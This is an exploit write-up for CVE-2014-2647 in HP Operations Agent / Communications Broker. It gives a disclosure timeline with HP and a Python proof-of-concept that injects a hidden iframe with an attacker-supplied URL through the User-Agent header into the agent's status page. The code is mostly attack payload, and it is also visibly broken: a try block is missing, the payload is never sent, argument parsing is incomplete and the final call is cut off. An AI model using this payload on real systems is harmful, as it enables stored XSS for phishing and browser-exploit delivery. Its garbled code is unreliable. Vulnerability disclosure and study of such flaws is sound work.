HP Operations Agent - Cross-Site Scripting iFrame Injection







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# Exploit Title: HP Operations Agent / HP Communications Broker Remote XSS iFrame Injection
# Date: 10/16/2014
# Exploit Author: Matt Schmidt (Syph0n)
# Vendor Homepage: www.hp.com
# Version: HP Operations Manager/Operations Agent / OpenView Communications Broker < 11.14
# Tested on: Windows 7, SunOS, RHEL Linux
# CVE : CVE-2014-2647
# This script was written to exploit a remote cross-site scripting vulnerability in HP Communication Broker/ HP Operations Agent.
# This vulnerability is stored in nature until the connection is terminated as it adds the XSS string to the User Agent.
# Vulnerable page: /Hewlett-Packard/OpenView/BBC/status
# This Exploit injects a Hidden iFrame which can be used for Social Engineering attacks as a browser exploit or other malicious URL can be embedded.
# Vulnerability Discovered by: Matt Schmidt (Syph0n)
# Timeline:
#	07/07/2014 - Submitted Discovery to ZDI
#	07/08/2014 - ZDI decided not to accept this vulnerability and directed to HP SSRT.
#	07/12/2014 - Contacted HP SSRT
#	07/13/2014 - HP SSRT assigned Case SSRT101643
#	07/17/2014 - Submitted Discovery and PoC exploit code to HP SSRT
#	07/30/2014 - Followed up with HP
#	07/31/2014 - Response from HP Indicating they need more time for Engineering to look into the submission
#	08/13/2014 - Followed up with HP
#	08/13/2014 - Response from HP stating that this issue will be resolved in version OA 11.14
#	08/24/2014 - Followed up with HP on CVE Identified and Disclosure Date
#	08/31/2014 - Followed up with HP again as no response to previous email
#	09/04/2014 - Followed up with HP again as no response to previous two emails
#	09/14/2014 - Followed up with HP again as no response to previous three emails
#	09/16/2014 - HP Responded stating they where "sorting out various items concerning this issue"
#	10/01/2014 - Followed up with HP asking for Disclosure Date and CVE Identifier
#	10/06/2014 - HP Responded indicating a disclosure was due out the week of the 6th.
#	10/15/2014 - HP Issued the following Security Bulletin regarding this vulnerability - https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04472444
#	10/15/2014 - CVE-2014-2647 Issued for this vulnerability

import argparse, socket, sys

# Define Help Menu
if (len(sys.argv) < 2) or (sys.argv[1] == '-h') or (sys.argv[1] == '--help'):
    print '\nUsage: ./exploit.py <TargetIP> <iFrame URL> [Port]\n'
    print '    <TargetIP>: The Target IP Address'
    print '    <iFrame URL>: Malicious URL that will be injected as a hidden iframe\n'
    print 'Options:'
    print '	 [--port]: The port the HP Communications Broker is running on, default is 383'

# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=383)
args = parser.parse_args()

# Define User Agent to be spoofed
agent = 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'

# Define Variables
host = args.TargetIP
port = args.port
iFrameURL = args.iFrameURL

def main():
	# Malicious hidden iframe payload that takes input from args.iFrameURL and fake UserAgent from agent_list
	payload = "GET /Hewlett-Packard/OpenView/BBC/status HTTP/1.1\r\nUser-Agent: <iframe height='0' width='0' style='visibility:hidden;display:none' src='"+iFrameURL+"'></iframe><a>"+ agent +"</a>\r\n\r\n"

	# Create Socket and check connection to target.
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "[*] Checking host: " +host+"\n"
		s.connect((host, int(port)))
	except Exception as e:
		print "[+] Error Connecting: ", e
	print "[*] Sending payload to HP OpenView HTTP Communication host " +host+"\n"
	# Keep connection alive
	while payload != 'q':
		data = s.recv(1024)
		print "[*] Payload Sent."
		payload = raw_input("\n[+] Keeping Connection Open ([q]uit):")

if __name__ == '__main__':